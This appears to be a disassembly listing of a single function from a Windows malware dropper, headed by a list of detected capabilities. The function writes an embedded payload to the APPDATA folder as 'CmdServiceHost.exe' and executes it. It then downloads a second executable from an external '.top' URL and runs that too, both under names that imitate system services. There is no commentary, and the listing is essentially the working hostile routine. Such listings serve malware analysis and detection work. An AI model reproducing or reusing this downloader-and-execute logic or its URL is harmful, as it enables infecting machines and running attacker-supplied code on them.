Function at 0x659014c0
Capabilities:
Create process on windows
Download url
Query environment variable
Receive data

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x143ac
call fcn.65917430
sub esp, eax
mov dword [ebp - 0x14374], dbg.__gxx_personality_sj0
mov dword [ebp - 0x14370], 0x65a0f434
lea eax, [ebp - 0x1436c]
mov dword [eax], ebp
mov edx, 0x6590176b
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x1438c]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
lea eax, [ebp - 0x1422a]
mov edx, 0x65a12020
mov ecx, 0x14200
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [ebp - 0x1c], 0x14200
lea eax, [ebp - 0x2a]
mov dword [ebp - 0x24], eax
nop
nop
mov dword [esp], str.APPDATA
call sym._getenv
mov edx, eax
lea eax, [ebp - 0x14244]
lea ecx, [ebp - 0x2a]
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [ebp - 0x14388], 1
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x2a]
mov ecx, eax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea eax, [ebp - 0x14244]
mov dword [esp], str.CmdServiceHost.exe
mov dword [ebp - 0x14388], 2
mov ecx, eax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator+=(char const*)
sub esp, 4
mov dword [esp + 4], 4
mov dword [esp], 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea eax, [ebp - 0x1433c]
mov dword [esp + 4], edx
lea edx, [ebp - 0x14244]
mov dword [esp], edx
mov ecx, eax
call fcn.659d3c40
sub esp, 8
lea eax, [ebp - 0x1433c]
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
lea edx, [ebp - 0x1422a]
mov dword [esp], edx
mov dword [ebp - 0x14388], 3
mov ecx, eax
call dbg.std::ostream::write(char const*, int)
sub esp, 8
lea eax, [ebp - 0x1433c]
mov ecx, eax
call dbg.std::basic_ofstream<char, std::char_traits<char> >::close()
lea eax, [ebp - 0x14244]
mov ecx, eax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x29]
mov dword [ebp - 0x28], eax
nop
nop
mov dword [esp], str.APPDATA
call sym._getenv
mov edx, eax
lea eax, [ebp - 0x14354]
lea ecx, [ebp - 0x29]
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [ebp - 0x14388], 4
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x29]
mov ecx, eax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea eax, [ebp - 0x14354]
mov dword [esp], str.CmdServiceHostts.exe
mov dword [ebp - 0x14388], 5
mov ecx, eax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator+=(char const*)
sub esp, 4
lea eax, [ebp - 0x14354]
mov ecx, eax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], str.http:__978393cm.nyashnyash.top_PipePollupdateTrack_9cc8ab92fd0685c523f2c81a1b7af67931664e95ac0425349816b72ea3c938ee47aaf3e9b3084510
mov dword [esp], 0
call sym._URLDownloadToFileA_20
sub esp, 0x14
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x65901729
lea eax, [ebp - 0x14354]
mov ecx, eax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [ebp - 0x14390], 1
lea eax, [ebp - 0x14354]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x1433c]
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea eax, [ebp - 0x14244]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, dword [ebp - 0x14390]
mov dword [ebp - 0x14390], eax
jmp 0x65901855
lea eax, [ebp - 0x1438c]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
mov eax, dword [ebp - 0x14390]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4